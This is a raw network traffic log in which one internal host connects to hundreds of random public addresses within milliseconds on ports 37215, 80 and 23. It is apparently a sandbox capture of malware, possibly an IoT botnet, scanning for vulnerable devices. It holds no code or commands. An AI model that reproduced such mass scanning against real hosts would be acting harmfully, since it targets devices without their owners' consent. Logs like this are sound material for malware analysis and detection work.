Jan 5, 2025 14:26:55.661869049 CET	56446	37215	192.168.2.13	41.86.203.22
Jan 5, 2025 14:26:55.661878109 CET	56446	37215	192.168.2.13	156.73.129.59
Jan 5, 2025 14:26:55.661879063 CET	56446	37215	192.168.2.13	156.203.54.186
Jan 5, 2025 14:26:55.661890030 CET	56446	37215	192.168.2.13	156.128.202.78
Jan 5, 2025 14:26:55.661890030 CET	56446	37215	192.168.2.13	156.37.251.130
Jan 5, 2025 14:26:55.661900997 CET	56446	37215	192.168.2.13	197.146.122.242
Jan 5, 2025 14:26:55.661906958 CET	56446	37215	192.168.2.13	197.103.11.90
Jan 5, 2025 14:26:55.661906958 CET	56446	37215	192.168.2.13	41.161.94.205
Jan 5, 2025 14:26:55.661907911 CET	56446	37215	192.168.2.13	156.100.8.245
Jan 5, 2025 14:26:55.661907911 CET	56446	37215	192.168.2.13	41.248.186.13
Jan 5, 2025 14:26:55.661921024 CET	56446	37215	192.168.2.13	197.159.60.139
Jan 5, 2025 14:26:55.661933899 CET	56446	37215	192.168.2.13	41.135.11.149
Jan 5, 2025 14:26:55.661933899 CET	56446	37215	192.168.2.13	41.116.73.76
Jan 5, 2025 14:26:55.661935091 CET	56446	37215	192.168.2.13	41.69.69.202
Jan 5, 2025 14:26:55.661936045 CET	56446	37215	192.168.2.13	41.8.66.162
Jan 5, 2025 14:26:55.661942005 CET	56446	37215	192.168.2.13	41.11.213.42
Jan 5, 2025 14:26:55.661942005 CET	56446	37215	192.168.2.13	41.94.117.100
Jan 5, 2025 14:26:55.661942959 CET	56446	37215	192.168.2.13	41.181.101.75
Jan 5, 2025 14:26:55.661942959 CET	56446	37215	192.168.2.13	41.134.79.56
Jan 5, 2025 14:26:55.661942959 CET	56446	37215	192.168.2.13	41.244.171.57
Jan 5, 2025 14:26:55.661945105 CET	56446	37215	192.168.2.13	156.62.198.50
Jan 5, 2025 14:26:55.661948919 CET	56446	37215	192.168.2.13	41.134.9.174
Jan 5, 2025 14:26:55.661948919 CET	56446	37215	192.168.2.13	197.150.247.11
Jan 5, 2025 14:26:55.661952019 CET	56446	37215	192.168.2.13	156.212.215.13
Jan 5, 2025 14:26:55.661952019 CET	56446	37215	192.168.2.13	41.82.83.236
Jan 5, 2025 14:26:55.661959887 CET	56446	37215	192.168.2.13	41.51.147.45
Jan 5, 2025 14:26:55.661961079 CET	56446	37215	192.168.2.13	41.20.148.11
Jan 5, 2025 14:26:55.661959887 CET	56446	37215	192.168.2.13	156.225.98.124
Jan 5, 2025 14:26:55.661962032 CET	56446	37215	192.168.2.13	156.242.254.191
Jan 5, 2025 14:26:55.661962032 CET	56446	37215	192.168.2.13	197.31.238.211
Jan 5, 2025 14:26:55.661962032 CET	56446	37215	192.168.2.13	41.183.11.100
Jan 5, 2025 14:26:55.661962032 CET	56446	37215	192.168.2.13	197.40.111.92
Jan 5, 2025 14:26:55.661962032 CET	56446	37215	192.168.2.13	197.101.106.25
Jan 5, 2025 14:26:55.661969900 CET	56446	37215	192.168.2.13	156.6.122.179
Jan 5, 2025 14:26:55.661971092 CET	56446	37215	192.168.2.13	197.243.17.19
Jan 5, 2025 14:26:55.661971092 CET	56446	37215	192.168.2.13	197.50.6.89
Jan 5, 2025 14:26:55.661971092 CET	56446	37215	192.168.2.13	197.232.228.233
Jan 5, 2025 14:26:55.661973953 CET	56446	37215	192.168.2.13	197.53.139.0
Jan 5, 2025 14:26:55.661973953 CET	56446	37215	192.168.2.13	41.194.102.180
Jan 5, 2025 14:26:55.661973953 CET	56446	37215	192.168.2.13	41.108.155.179
Jan 5, 2025 14:26:55.661973953 CET	56446	37215	192.168.2.13	41.24.212.138
Jan 5, 2025 14:26:55.661978006 CET	56446	37215	192.168.2.13	197.40.113.153
Jan 5, 2025 14:26:55.661978006 CET	56446	37215	192.168.2.13	156.186.49.233
Jan 5, 2025 14:26:55.661981106 CET	56446	37215	192.168.2.13	197.231.32.37
Jan 5, 2025 14:26:55.661988020 CET	56446	37215	192.168.2.13	197.108.166.92
Jan 5, 2025 14:26:55.661998987 CET	56446	37215	192.168.2.13	197.204.243.35
Jan 5, 2025 14:26:55.662003994 CET	56446	37215	192.168.2.13	156.138.53.220
Jan 5, 2025 14:26:55.662005901 CET	56446	37215	192.168.2.13	197.121.158.224
Jan 5, 2025 14:26:55.662017107 CET	56446	37215	192.168.2.13	197.34.236.239
Jan 5, 2025 14:26:55.662034035 CET	56446	37215	192.168.2.13	156.220.149.170
Jan 5, 2025 14:26:55.662034035 CET	56446	37215	192.168.2.13	41.109.228.52
Jan 5, 2025 14:26:55.662070990 CET	56446	37215	192.168.2.13	156.192.156.39
Jan 5, 2025 14:26:55.662070990 CET	56446	37215	192.168.2.13	156.252.129.203
Jan 5, 2025 14:26:55.662070990 CET	56446	37215	192.168.2.13	156.27.65.117
Jan 5, 2025 14:26:55.662071943 CET	56446	37215	192.168.2.13	41.109.116.124
Jan 5, 2025 14:26:55.662070990 CET	56446	37215	192.168.2.13	197.166.183.231
Jan 5, 2025 14:26:55.662071943 CET	56446	37215	192.168.2.13	156.2.64.200
Jan 5, 2025 14:26:55.662071943 CET	56446	37215	192.168.2.13	156.75.236.205
Jan 5, 2025 14:26:55.662072897 CET	56446	37215	192.168.2.13	41.156.109.44
Jan 5, 2025 14:26:55.662071943 CET	56446	37215	192.168.2.13	197.246.178.118
Jan 5, 2025 14:26:55.662072897 CET	56446	37215	192.168.2.13	197.96.105.167
Jan 5, 2025 14:26:55.662075043 CET	56446	37215	192.168.2.13	41.169.117.54
Jan 5, 2025 14:26:55.662075043 CET	56446	37215	192.168.2.13	156.52.179.100
Jan 5, 2025 14:26:55.662075043 CET	56446	37215	192.168.2.13	197.186.232.132
Jan 5, 2025 14:26:55.662075043 CET	56446	37215	192.168.2.13	156.220.173.9
Jan 5, 2025 14:26:55.662075996 CET	56446	37215	192.168.2.13	156.139.40.67
Jan 5, 2025 14:26:55.662085056 CET	56446	37215	192.168.2.13	41.158.109.32
Jan 5, 2025 14:26:55.662075996 CET	56446	37215	192.168.2.13	197.203.143.255
Jan 5, 2025 14:26:55.662085056 CET	56446	37215	192.168.2.13	197.213.248.239
Jan 5, 2025 14:26:55.662075996 CET	56446	37215	192.168.2.13	197.241.8.90
Jan 5, 2025 14:26:55.662085056 CET	56446	37215	192.168.2.13	41.62.210.150
Jan 5, 2025 14:26:55.662085056 CET	56446	37215	192.168.2.13	197.243.236.79
Jan 5, 2025 14:26:55.662085056 CET	56446	37215	192.168.2.13	41.138.71.10
Jan 5, 2025 14:26:55.662091017 CET	56446	37215	192.168.2.13	156.88.110.204
Jan 5, 2025 14:26:55.662085056 CET	56446	37215	192.168.2.13	41.53.45.90
Jan 5, 2025 14:26:55.662091017 CET	56446	37215	192.168.2.13	156.53.79.63
Jan 5, 2025 14:26:55.662091017 CET	56446	37215	192.168.2.13	41.116.67.172
Jan 5, 2025 14:26:55.662091017 CET	56446	37215	192.168.2.13	156.149.133.188
Jan 5, 2025 14:26:55.662091970 CET	56446	37215	192.168.2.13	156.14.196.148
Jan 5, 2025 14:26:55.662091970 CET	56446	37215	192.168.2.13	156.212.164.169
Jan 5, 2025 14:26:55.662091970 CET	56446	37215	192.168.2.13	156.249.241.162
Jan 5, 2025 14:26:55.662091970 CET	56446	37215	192.168.2.13	197.247.158.186
Jan 5, 2025 14:26:55.662091970 CET	56446	37215	192.168.2.13	197.130.226.25
Jan 5, 2025 14:26:55.662102938 CET	56446	37215	192.168.2.13	41.147.62.33
Jan 5, 2025 14:26:55.662102938 CET	56446	37215	192.168.2.13	156.134.131.65
Jan 5, 2025 14:26:55.662102938 CET	56446	37215	192.168.2.13	41.216.64.3
Jan 5, 2025 14:26:55.662102938 CET	56446	37215	192.168.2.13	197.165.253.32
Jan 5, 2025 14:26:55.662105083 CET	56446	37215	192.168.2.13	197.99.117.184
Jan 5, 2025 14:26:55.662106991 CET	56446	37215	192.168.2.13	197.206.171.155
Jan 5, 2025 14:26:55.662106991 CET	56446	37215	192.168.2.13	41.133.61.24
Jan 5, 2025 14:26:55.662107944 CET	56446	37215	192.168.2.13	156.133.74.42
Jan 5, 2025 14:26:55.662108898 CET	56446	37215	192.168.2.13	197.111.141.78
Jan 5, 2025 14:26:55.662107944 CET	56446	37215	192.168.2.13	197.181.13.23
Jan 5, 2025 14:26:55.662107944 CET	56446	37215	192.168.2.13	197.9.125.216
Jan 5, 2025 14:26:55.662107944 CET	56446	37215	192.168.2.13	156.107.196.169
Jan 5, 2025 14:26:55.662107944 CET	56446	37215	192.168.2.13	41.199.231.73
Jan 5, 2025 14:26:55.662107944 CET	56446	37215	192.168.2.13	156.166.249.183
Jan 5, 2025 14:26:55.662107944 CET	56446	37215	192.168.2.13	156.228.138.205
Jan 5, 2025 14:26:55.662107944 CET	56446	37215	192.168.2.13	197.111.32.40
Jan 5, 2025 14:26:55.662107944 CET	56446	37215	192.168.2.13	197.164.164.8
Jan 5, 2025 14:26:55.662108898 CET	56446	37215	192.168.2.13	41.22.52.181
Jan 5, 2025 14:26:55.662108898 CET	56446	37215	192.168.2.13	156.89.7.205
Jan 5, 2025 14:26:55.662113905 CET	56446	37215	192.168.2.13	41.197.251.254
Jan 5, 2025 14:26:55.662113905 CET	56446	37215	192.168.2.13	197.232.143.165
Jan 5, 2025 14:26:55.662113905 CET	56446	37215	192.168.2.13	41.187.119.114
Jan 5, 2025 14:26:55.662117958 CET	56446	37215	192.168.2.13	41.150.129.200
Jan 5, 2025 14:26:55.662121058 CET	56446	37215	192.168.2.13	41.175.24.232
Jan 5, 2025 14:26:55.662121058 CET	56446	37215	192.168.2.13	197.69.129.78
Jan 5, 2025 14:26:55.662122965 CET	56446	37215	192.168.2.13	41.94.119.238
Jan 5, 2025 14:26:55.662117958 CET	56446	37215	192.168.2.13	197.163.38.30
Jan 5, 2025 14:26:55.662125111 CET	56446	37215	192.168.2.13	41.104.240.223
Jan 5, 2025 14:26:55.662125111 CET	56446	37215	192.168.2.13	197.98.242.170
Jan 5, 2025 14:26:55.662125111 CET	56446	37215	192.168.2.13	156.101.165.165
Jan 5, 2025 14:26:55.662126064 CET	56446	37215	192.168.2.13	156.133.117.26
Jan 5, 2025 14:26:55.662126064 CET	56446	37215	192.168.2.13	156.23.15.146
Jan 5, 2025 14:26:55.662130117 CET	56446	37215	192.168.2.13	156.76.175.188
Jan 5, 2025 14:26:55.662130117 CET	56446	37215	192.168.2.13	41.27.64.137
Jan 5, 2025 14:26:55.662130117 CET	56446	37215	192.168.2.13	197.12.60.5
Jan 5, 2025 14:26:55.662134886 CET	56446	37215	192.168.2.13	197.16.176.207
Jan 5, 2025 14:26:55.662137032 CET	56446	37215	192.168.2.13	41.180.11.161
Jan 5, 2025 14:26:55.662137985 CET	56446	37215	192.168.2.13	197.13.156.33
Jan 5, 2025 14:26:55.662141085 CET	56446	37215	192.168.2.13	41.122.108.128
Jan 5, 2025 14:26:55.662141085 CET	56446	37215	192.168.2.13	41.249.223.181
Jan 5, 2025 14:26:55.662156105 CET	56446	37215	192.168.2.13	197.171.44.129
Jan 5, 2025 14:26:55.662163973 CET	56446	37215	192.168.2.13	156.192.44.56
Jan 5, 2025 14:26:55.662163973 CET	56446	37215	192.168.2.13	41.249.35.184
Jan 5, 2025 14:26:55.662163973 CET	56446	37215	192.168.2.13	197.13.159.155
Jan 5, 2025 14:26:55.662166119 CET	56446	37215	192.168.2.13	156.232.82.45
Jan 5, 2025 14:26:55.662172079 CET	56446	37215	192.168.2.13	197.226.125.175
Jan 5, 2025 14:26:55.662175894 CET	56446	37215	192.168.2.13	156.3.237.73
Jan 5, 2025 14:26:55.662177086 CET	56446	37215	192.168.2.13	197.176.241.68
Jan 5, 2025 14:26:55.662177086 CET	56446	37215	192.168.2.13	41.126.81.179
Jan 5, 2025 14:26:55.662177086 CET	56446	37215	192.168.2.13	197.214.71.165
Jan 5, 2025 14:26:55.662199020 CET	43174	37215	192.168.2.13	41.180.26.32
Jan 5, 2025 14:26:55.662208080 CET	58992	37215	192.168.2.13	197.255.23.109
Jan 5, 2025 14:26:55.663654089 CET	44184	80	192.168.2.13	119.181.178.16
Jan 5, 2025 14:26:55.663661003 CET	47988	80	192.168.2.13	211.197.169.193
Jan 5, 2025 14:26:55.663661003 CET	45964	80	192.168.2.13	112.40.138.124
Jan 5, 2025 14:26:55.663661003 CET	37144	80	192.168.2.13	95.147.60.89
Jan 5, 2025 14:26:55.663666010 CET	42294	80	192.168.2.13	87.145.7.72
Jan 5, 2025 14:26:55.663666964 CET	56840	80	192.168.2.13	25.176.189.45
Jan 5, 2025 14:26:55.663677931 CET	52764	80	192.168.2.13	53.232.140.191
Jan 5, 2025 14:26:55.663681984 CET	46790	80	192.168.2.13	201.170.158.50
Jan 5, 2025 14:26:55.663686037 CET	51752	80	192.168.2.13	150.212.74.93
Jan 5, 2025 14:26:55.663686037 CET	38184	80	192.168.2.13	112.100.244.25
Jan 5, 2025 14:26:55.663690090 CET	52266	80	192.168.2.13	8.39.136.201
Jan 5, 2025 14:26:55.663690090 CET	37436	80	192.168.2.13	93.142.68.139
Jan 5, 2025 14:26:55.663693905 CET	45792	80	192.168.2.13	90.161.70.11
Jan 5, 2025 14:26:55.663696051 CET	55792	80	192.168.2.13	44.245.49.18
Jan 5, 2025 14:26:55.663700104 CET	42570	80	192.168.2.13	212.225.7.65
Jan 5, 2025 14:26:55.663700104 CET	51506	80	192.168.2.13	155.116.17.180
Jan 5, 2025 14:26:55.663702965 CET	48564	80	192.168.2.13	49.175.63.25
Jan 5, 2025 14:26:55.663702965 CET	59430	23	192.168.2.13	221.142.162.162
Jan 5, 2025 14:26:55.663703918 CET	47176	80	192.168.2.13	124.161.18.153
Jan 5, 2025 14:26:55.663702965 CET	37764	80	192.168.2.13	130.171.189.113
Jan 5, 2025 14:26:55.663710117 CET	44052	80	192.168.2.13	123.198.94.11
Jan 5, 2025 14:26:55.663710117 CET	47048	80	192.168.2.13	121.106.199.139
Jan 5, 2025 14:26:55.663710117 CET	35194	80	192.168.2.13	153.224.111.26
Jan 5, 2025 14:26:55.663711071 CET	48824	80	192.168.2.13	52.80.168.177
Jan 5, 2025 14:26:55.663712978 CET	33816	80	192.168.2.13	103.59.158.247
Jan 5, 2025 14:26:55.663713932 CET	48078	80	192.168.2.13	126.164.92.163
Jan 5, 2025 14:26:55.663713932 CET	60882	80	192.168.2.13	222.189.243.39
Jan 5, 2025 14:26:55.663713932 CET	51814	80	192.168.2.13	179.122.26.72
Jan 5, 2025 14:26:55.663713932 CET	48782	80	192.168.2.13	92.128.57.47
Jan 5, 2025 14:26:55.663713932 CET	36942	80	192.168.2.13	31.192.238.25
Jan 5, 2025 14:26:55.663717031 CET	56678	80	192.168.2.13	169.177.216.77
Jan 5, 2025 14:26:55.663722992 CET	58418	80	192.168.2.13	203.57.112.31
Jan 5, 2025 14:26:55.663722992 CET	50904	80	192.168.2.13	93.78.25.220
Jan 5, 2025 14:26:55.663726091 CET	48534	80	192.168.2.13	47.214.179.76
Jan 5, 2025 14:26:55.663726091 CET	55040	80	192.168.2.13	90.219.134.167
Jan 5, 2025 14:26:55.663727045 CET	54762	80	192.168.2.13	132.148.206.39
Jan 5, 2025 14:26:55.663727045 CET	39564	80	192.168.2.13	70.175.241.17
Jan 5, 2025 14:26:55.663733006 CET	44716	80	192.168.2.13	130.201.16.9
Jan 5, 2025 14:26:55.663733006 CET	54826	80	192.168.2.13	50.66.56.213
Jan 5, 2025 14:26:55.663733006 CET	47352	80	192.168.2.13	98.202.158.137
Jan 5, 2025 14:26:55.663733006 CET	45970	80	192.168.2.13	101.53.250.76
Jan 5, 2025 14:26:55.663736105 CET	37194	80	192.168.2.13	188.172.100.78
Jan 5, 2025 14:26:55.663737059 CET	46368	80	192.168.2.13	170.84.61.11
Jan 5, 2025 14:26:55.663737059 CET	34910	80	192.168.2.13	73.73.85.60
Jan 5, 2025 14:26:55.663738012 CET	44862	80	192.168.2.13	64.91.25.212
Jan 5, 2025 14:26:55.663741112 CET	37464	80	192.168.2.13	188.51.143.156
Jan 5, 2025 14:26:55.663743019 CET	42054	80	192.168.2.13	35.64.69.62
Jan 5, 2025 14:26:55.663743019 CET	60420	80	192.168.2.13	86.78.207.41
Jan 5, 2025 14:26:55.663758039 CET	42344	80	192.168.2.13	43.188.126.123
Jan 5, 2025 14:26:55.663758993 CET	56684	80	192.168.2.13	5.240.107.112
Jan 5, 2025 14:26:55.663758039 CET	38586	80	192.168.2.13	57.178.24.154
Jan 5, 2025 14:26:55.663758039 CET	34592	80	192.168.2.13	192.244.49.80
Jan 5, 2025 14:26:55.663758993 CET	49234	80	192.168.2.13	126.157.187.235
Jan 5, 2025 14:26:55.663765907 CET	35916	80	192.168.2.13	220.2.179.250
Jan 5, 2025 14:26:55.663765907 CET	59922	80	192.168.2.13	193.171.152.57
Jan 5, 2025 14:26:55.663765907 CET	36488	80	192.168.2.13	148.191.125.133
Jan 5, 2025 14:26:55.663769007 CET	57442	80	192.168.2.13	131.41.241.155
Jan 5, 2025 14:26:55.663779020 CET	49742	80	192.168.2.13	18.235.10.26
Jan 5, 2025 14:26:55.663779020 CET	44010	80	192.168.2.13	172.62.123.93
Jan 5, 2025 14:26:55.663780928 CET	58602	80	192.168.2.13	208.31.194.136
Jan 5, 2025 14:26:55.663780928 CET	35612	80	192.168.2.13	95.238.195.12
Jan 5, 2025 14:26:55.663795948 CET	43874	80	192.168.2.13	62.136.35.107
Jan 5, 2025 14:26:55.663795948 CET	42524	80	192.168.2.13	168.186.120.171
Jan 5, 2025 14:26:55.663798094 CET	57608	80	192.168.2.13	213.35.130.108
Jan 5, 2025 14:26:55.663804054 CET	35330	80	192.168.2.13	185.109.216.10
Jan 5, 2025 14:26:55.663805008 CET	34438	80	192.168.2.13	162.9.146.128
Jan 5, 2025 14:26:55.663810015 CET	45236	80	192.168.2.13	83.122.59.236
Jan 5, 2025 14:26:55.663810015 CET	58884	80	192.168.2.13	108.37.183.143
Jan 5, 2025 14:26:55.663810968 CET	51472	80	192.168.2.13	164.96.50.138
Jan 5, 2025 14:26:55.663810968 CET	49042	80	192.168.2.13	70.170.141.169
Jan 5, 2025 14:26:55.663810968 CET	34744	80	192.168.2.13	213.204.244.108
Jan 5, 2025 14:26:55.663810968 CET	57112	80	192.168.2.13	98.161.96.215
Jan 5, 2025 14:26:55.663814068 CET	53922	80	192.168.2.13	113.159.145.106
Jan 5, 2025 14:26:55.663815975 CET	36960	80	192.168.2.13	175.138.211.65
Jan 5, 2025 14:26:55.663815975 CET	47702	80	192.168.2.13	12.69.37.219
Jan 5, 2025 14:26:55.663815975 CET	36412	80	192.168.2.13	176.96.253.149
Jan 5, 2025 14:26:55.663817883 CET	34368	80	192.168.2.13	25.213.217.67
Jan 5, 2025 14:26:55.663820028 CET	36902	80	192.168.2.13	39.153.86.8
Jan 5, 2025 14:26:55.663822889 CET	45428	80	192.168.2.13	68.179.119.142
Jan 5, 2025 14:26:55.663822889 CET	59956	80	192.168.2.13	9.248.137.237
Jan 5, 2025 14:26:55.663822889 CET	47154	80	192.168.2.13	182.179.229.36
Jan 5, 2025 14:26:55.663822889 CET	36738	80	192.168.2.13	85.107.32.131
Jan 5, 2025 14:26:55.663822889 CET	51342	80	192.168.2.13	74.100.9.3
Jan 5, 2025 14:26:55.663822889 CET	33292	80	192.168.2.13	159.196.207.39
Jan 5, 2025 14:26:55.663830042 CET	42048	80	192.168.2.13	132.186.207.59
Jan 5, 2025 14:26:55.663830042 CET	38756	80	192.168.2.13	176.222.222.58
Jan 5, 2025 14:26:55.663830042 CET	49614	80	192.168.2.13	43.50.1.171
Jan 5, 2025 14:26:55.663830042 CET	36112	80	192.168.2.13	97.22.217.119
Jan 5, 2025 14:26:55.663832903 CET	47198	80	192.168.2.13	120.174.76.147
Jan 5, 2025 14:26:55.663834095 CET	57110	80	192.168.2.13	41.122.180.203
Jan 5, 2025 14:26:55.663834095 CET	40934	80	192.168.2.13	44.59.3.80
Jan 5, 2025 14:26:55.663834095 CET	55106	80	192.168.2.13	153.35.202.79
Jan 5, 2025 14:26:55.663836002 CET	40290	80	192.168.2.13	198.217.110.104
Jan 5, 2025 14:26:55.663836002 CET	36034	80	192.168.2.13	221.124.53.8
Jan 5, 2025 14:26:55.663837910 CET	37572	80	192.168.2.13	23.53.22.11
Jan 5, 2025 14:26:55.663837910 CET	45900	80	192.168.2.13	4.170.217.133
Jan 5, 2025 14:26:55.663837910 CET	36480	80	192.168.2.13	174.92.211.105
Jan 5, 2025 14:26:55.663844109 CET	55366	80	192.168.2.13	47.248.87.162
Jan 5, 2025 14:26:55.663845062 CET	48212	80	192.168.2.13	140.6.135.109
Jan 5, 2025 14:26:55.663845062 CET	48986	80	192.168.2.13	107.156.206.131
Jan 5, 2025 14:26:55.663845062 CET	53636	80	192.168.2.13	207.255.36.88
Jan 5, 2025 14:26:55.663847923 CET	55050	80	192.168.2.13	168.206.81.184
Jan 5, 2025 14:26:55.663855076 CET	44662	80	192.168.2.13	117.177.168.99
Jan 5, 2025 14:26:55.663855076 CET	37168	80	192.168.2.13	217.9.42.229
Jan 5, 2025 14:26:55.663857937 CET	60252	80	192.168.2.13	90.34.164.154
Jan 5, 2025 14:26:55.663857937 CET	55076	80	192.168.2.13	121.78.124.211
Jan 5, 2025 14:26:55.663857937 CET	41420	80	192.168.2.13	200.133.13.167
Jan 5, 2025 14:26:55.663862944 CET	51630	80	192.168.2.13	144.42.87.129
Jan 5, 2025 14:26:55.663862944 CET	57060	80	192.168.2.13	129.158.234.92
Jan 5, 2025 14:26:55.663862944 CET	60568	80	192.168.2.13	194.70.139.54
Jan 5, 2025 14:26:55.663865089 CET	39800	80	192.168.2.13	103.86.3.245
Jan 5, 2025 14:26:55.663865089 CET	40304	80	192.168.2.13	32.230.67.75
Jan 5, 2025 14:26:55.663865089 CET	53400	80	192.168.2.13	212.7.199.36
Jan 5, 2025 14:26:55.663866043 CET	34232	80	192.168.2.13	1.244.139.105
Jan 5, 2025 14:26:55.663866043 CET	48014	80	192.168.2.13	204.72.238.16
Jan 5, 2025 14:26:55.666074991 CET	37215	56446	197.75.114.194	192.168.2.13
Jan 5, 2025 14:26:55.666085958 CET	37215	56446	197.39.42.34	192.168.2.13
Jan 5, 2025 14:26:55.666106939 CET	56446	37215	192.168.2.13	197.75.114.194
Jan 5, 2025 14:26:55.666110992 CET	56446	37215	192.168.2.13	197.39.42.34
Jan 5, 2025 14:26:55.677680016 CET	57214	23	192.168.2.13	84.147.129.58
Jan 5, 2025 14:26:55.677684069 CET	57214	23	192.168.2.13	72.149.193.72
Jan 5, 2025 14:26:55.677695036 CET	57214	23	192.168.2.13	83.38.16.52
Jan 5, 2025 14:26:55.677700996 CET	57214	23	192.168.2.13	169.77.40.77
Jan 5, 2025 14:26:55.677706957 CET	57214	23	192.168.2.13	203.151.240.43
Jan 5, 2025 14:26:55.677706957 CET	57214	23	192.168.2.13	49.143.5.86
Jan 5, 2025 14:26:55.677710056 CET	57214	23	192.168.2.13	182.18.86.56
Jan 5, 2025 14:26:55.677711010 CET	57214	23	192.168.2.13	184.160.73.80
Jan 5, 2025 14:26:55.677711964 CET	57214	23	192.168.2.13	202.48.46.34
Jan 5, 2025 14:26:55.677711964 CET	57214	23	192.168.2.13	93.52.100.166
Jan 5, 2025 14:26:55.677726984 CET	57214	23	192.168.2.13	196.132.28.183
Jan 5, 2025 14:26:55.677731037 CET	57214	23	192.168.2.13	88.232.76.237
Jan 5, 2025 14:26:55.677731991 CET	57214	23	192.168.2.13	223.160.245.162
Jan 5, 2025 14:26:55.677731991 CET	57214	23	192.168.2.13	136.64.0.113
Jan 5, 2025 14:26:55.677732944 CET	57214	23	192.168.2.13	210.49.116.110
Jan 5, 2025 14:26:55.677748919 CET	57214	23	192.168.2.13	132.36.165.187
Jan 5, 2025 14:26:55.677752018 CET	57214	23	192.168.2.13	153.202.141.224
Jan 5, 2025 14:26:55.677752018 CET	57214	23	192.168.2.13	151.15.193.106
Jan 5, 2025 14:26:55.677752018 CET	57214	23	192.168.2.13	222.21.238.19
Jan 5, 2025 14:26:55.677769899 CET	57214	23	192.168.2.13	104.33.1.45
Jan 5, 2025 14:26:55.677769899 CET	57214	23	192.168.2.13	8.255.177.35
Jan 5, 2025 14:26:55.677773952 CET	57214	23	192.168.2.13	217.130.84.183
Jan 5, 2025 14:26:55.677778959 CET	57214	23	192.168.2.13	48.153.110.201
Jan 5, 2025 14:26:55.677808046 CET	57214	23	192.168.2.13	109.196.8.178
Jan 5, 2025 14:26:55.677808046 CET	57214	23	192.168.2.13	64.254.189.134
Jan 5, 2025 14:26:55.677808046 CET	57214	23	192.168.2.13	144.35.158.238
Jan 5, 2025 14:26:55.677809000 CET	57214	23	192.168.2.13	155.120.131.218
Jan 5, 2025 14:26:55.677809000 CET	57214	23	192.168.2.13	52.147.22.24
Jan 5, 2025 14:26:55.677812099 CET	57214	23	192.168.2.13	31.61.166.74
Jan 5, 2025 14:26:55.677819014 CET	57214	23	192.168.2.13	154.197.106.29
Jan 5, 2025 14:26:55.677819014 CET	57214	23	192.168.2.13	126.248.250.184
Jan 5, 2025 14:26:55.677819014 CET	57214	23	192.168.2.13	19.166.76.107
Jan 5, 2025 14:26:55.677819014 CET	57214	23	192.168.2.13	126.138.250.181
Jan 5, 2025 14:26:55.677819967 CET	57214	23	192.168.2.13	135.110.8.149
Jan 5, 2025 14:26:55.677826881 CET	57214	23	192.168.2.13	115.169.109.68
Jan 5, 2025 14:26:55.677826881 CET	57214	23	192.168.2.13	47.132.7.17
Jan 5, 2025 14:26:55.677826881 CET	57214	23	192.168.2.13	74.139.99.207
Jan 5, 2025 14:26:55.677828074 CET	57214	23	192.168.2.13	186.112.62.139
Jan 5, 2025 14:26:55.677826881 CET	57214	23	192.168.2.13	220.20.18.198
Jan 5, 2025 14:26:55.677824974 CET	57214	23	192.168.2.13	97.211.87.7
Jan 5, 2025 14:26:55.677826881 CET	57214	23	192.168.2.13	223.132.47.48
Jan 5, 2025 14:26:55.677826881 CET	57214	23	192.168.2.13	213.98.192.211
Jan 5, 2025 14:26:55.677829981 CET	57214	23	192.168.2.13	171.40.228.210
Jan 5, 2025 14:26:55.677829981 CET	57214	23	192.168.2.13	169.106.135.176
Jan 5, 2025 14:26:55.677834988 CET	57214	23	192.168.2.13	171.203.130.50
Jan 5, 2025 14:26:55.677840948 CET	57214	23	192.168.2.13	5.178.123.85
Jan 5, 2025 14:26:55.677846909 CET	57214	23	192.168.2.13	148.220.174.239
Jan 5, 2025 14:26:55.677848101 CET	57214	23	192.168.2.13	81.10.245.138
Jan 5, 2025 14:26:55.677848101 CET	57214	23	192.168.2.13	50.138.97.170
Jan 5, 2025 14:26:55.677854061 CET	57214	23	192.168.2.13	35.206.238.25
Jan 5, 2025 14:26:55.677854061 CET	57214	23	192.168.2.13	120.212.64.240
Jan 5, 2025 14:26:55.677855968 CET	57214	23	192.168.2.13	213.12.184.98
Jan 5, 2025 14:26:55.677860022 CET	57214	23	192.168.2.13	18.42.250.134
Jan 5, 2025 14:26:55.677864075 CET	57214	23	192.168.2.13	165.34.153.223
Jan 5, 2025 14:26:55.677864075 CET	57214	23	192.168.2.13	80.249.83.145
Jan 5, 2025 14:26:55.677866936 CET	57214	23	192.168.2.13	80.59.187.17
Jan 5, 2025 14:26:55.677880049 CET	57214	23	192.168.2.13	1.6.153.208
Jan 5, 2025 14:26:55.677880049 CET	57214	23	192.168.2.13	202.125.161.137
Jan 5, 2025 14:26:55.677881002 CET	57214	23	192.168.2.13	219.107.130.181
Jan 5, 2025 14:26:55.677881002 CET	57214	23	192.168.2.13	35.19.126.150
Jan 5, 2025 14:26:55.677882910 CET	57214	23	192.168.2.13	35.195.133.24
Jan 5, 2025 14:26:55.677895069 CET	57214	23	192.168.2.13	104.109.236.54
Jan 5, 2025 14:26:55.677901030 CET	57214	23	192.168.2.13	81.92.92.17
Jan 5, 2025 14:26:55.677901030 CET	57214	23	192.168.2.13	69.246.147.179
Jan 5, 2025 14:26:55.677901030 CET	57214	23	192.168.2.13	39.55.69.223
Jan 5, 2025 14:26:55.677901030 CET	57214	23	192.168.2.13	66.8.173.117
Jan 5, 2025 14:26:55.677916050 CET	57214	23	192.168.2.13	134.88.237.176
Jan 5, 2025 14:26:55.677921057 CET	57214	23	192.168.2.13	57.152.233.112
Jan 5, 2025 14:26:55.677921057 CET	57214	23	192.168.2.13	195.82.144.94
Jan 5, 2025 14:26:55.677926064 CET	57214	23	192.168.2.13	218.169.24.34
Jan 5, 2025 14:26:55.677941084 CET	57214	23	192.168.2.13	81.144.14.189
Jan 5, 2025 14:26:55.677942991 CET	57214	23	192.168.2.13	72.5.97.122
Jan 5, 2025 14:26:55.677947998 CET	57214	23	192.168.2.13	57.129.56.52
Jan 5, 2025 14:26:55.677947998 CET	57214	23	192.168.2.13	162.3.28.107
Jan 5, 2025 14:26:55.677953959 CET	57214	23	192.168.2.13	115.252.176.253
Jan 5, 2025 14:26:55.677956104 CET	57214	23	192.168.2.13	86.88.210.6
Jan 5, 2025 14:26:55.677968025 CET	57214	23	192.168.2.13	219.149.11.211
Jan 5, 2025 14:26:55.677970886 CET	57214	23	192.168.2.13	160.91.39.136
Jan 5, 2025 14:26:55.677978039 CET	57214	23	192.168.2.13	187.186.37.80
Jan 5, 2025 14:26:55.677994967 CET	57214	23	192.168.2.13	84.39.7.90
Jan 5, 2025 14:26:55.677994967 CET	57214	23	192.168.2.13	177.132.244.199
Jan 5, 2025 14:26:55.677994967 CET	57214	23	192.168.2.13	104.0.196.215
Jan 5, 2025 14:26:55.677994967 CET	57214	23	192.168.2.13	79.107.169.209
